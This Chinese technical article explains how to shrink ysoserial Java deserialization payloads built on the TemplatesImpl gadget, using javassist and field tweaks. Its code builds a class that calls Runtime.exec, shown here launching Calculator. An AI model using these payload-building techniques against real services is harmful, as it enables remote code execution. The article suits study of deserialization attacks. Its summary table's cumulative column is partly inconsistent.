缩小ysoserial payload体积的几个方法
字数 1224 2025-08-25 22:58:20
缩小ysoserial payload体积的技术方法
概述
本文详细介绍了如何通过多种技术手段缩小ysoserial工具生成的payload体积,主要针对使用TemplatesImpl构造的payload类型。通过优化字节码、字段设置和类结构,可以显著减小payload大小而不影响其功能。
核心优化方法
1. 修改_bytecode字段内容
原实现问题:
- ysoserial默认在
_bytecodes数组中包含两个元素:恶意类和空类 - 实际上只需要恶意类即可满足功能需求
优化方法:
// 原代码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});
// 优化后
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
效果:
- payload从3562字节缩小到3084字节
- 减少约478字节
2. 删除_tfactory字段
原理:
_tfactory字段被transient修饰,不参与序列化- 设置该字段对payload大小无影响
优化方法:
// 可直接删除此行代码
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
注意:
- 虽然不影响大小,但删除后代码更简洁
3. 修改StubTransletPayload类
原实现问题:
- 原StubTransletPayload类实现了Serializable接口
- 包含不必要的方法重写(transform方法)
- 实际上只需要类名和继承关系
优化方法:
// 原实现
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
// 不必要的方法实现
}
// 优化后
public static class StubTransletPayload {}
效果:
- payload从3084字节缩小到2177字节
- 减少约907字节
4. 使用javassist直接创建类
优化方法:
// 原代码使用现有类
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 优化后直接创建
final CtClass clazz = pool.makeClass("StubTransletPayload");
效果:
- payload从2177字节缩小到1912字节
- 减少约265字节
- 通过减少constant_pool中的不必要内容实现
最终优化代码示例
private static Object createTemplatesImpl() throws IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, IOException, NoSuchFieldException {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = classPool.makeClass(String.valueOf(System.nanoTime()));
// 插入恶意代码
String string = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");";
clazz.makeClassInitializer().insertAfter(string);
// 设置父类
CtClass superC = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);
// 设置字节码
final byte[] classBytes = clazz.toBytecode();
Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bcField.setAccessible(true);
bcField.set(templates, new byte[][] {classBytes});
// 设置名称字段
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");
clazz.writeFile();
return templates;
}
额外优化技巧
-
更短的类名:
- 将类名设置为"1"等单字符可进一步减小体积
-
构造函数优化:
- 使用构造函数而非静态代码块:
CtConstructor ctConstructor = new CtConstructor(new CtClass[] {}, clazz); ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");"); clazz.addConstructor(ctConstructor); -
修改现有类的构造函数:
CtConstructor ctConstructor = clazz.getDeclaredConstructors()[0]; clazz.removeConstructor(ctConstructor); CtConstructor newCtConstructor = new CtConstructor(new CtClass[] {}, clazz); newCtConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");"); clazz.addConstructor(newCtConstructor);或直接修改:
CtConstructor ctConstructor = clazz.getDeclaredConstructors()[0]; ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");");
优化效果总结
| 优化步骤 | 体积变化(字节) | 累计减少(字节) |
|---|---|---|
| 原始payload | 3562 | - |
| 修改_bytecode字段 | 3084 | 478 |
| 简化StubTransletPayload | 2177 | 1385 |
| 使用javassist直接创建类 | 1912 | 265 |
| 总优化 | 1912 | 1650 |
通过以上方法,payload体积从原始的3562字节缩减到1912字节,减少了约46.3%的体积。
注意事项
- 确保恶意类继承自
AbstractTranslet,这是TemplatesImpl执行的必要条件 - 修改后的payload功能应与原始payload完全一致
- 在实际渗透测试中,体积优化可能不是首要考虑因素,需根据实际情况权衡
这些优化技术虽然在实际攻击中可能不是最关键的因素,但对于理解ysoserial工作原理和Java反序列化机制有重要价值,也为特殊场景下的payload定制提供了技术基础。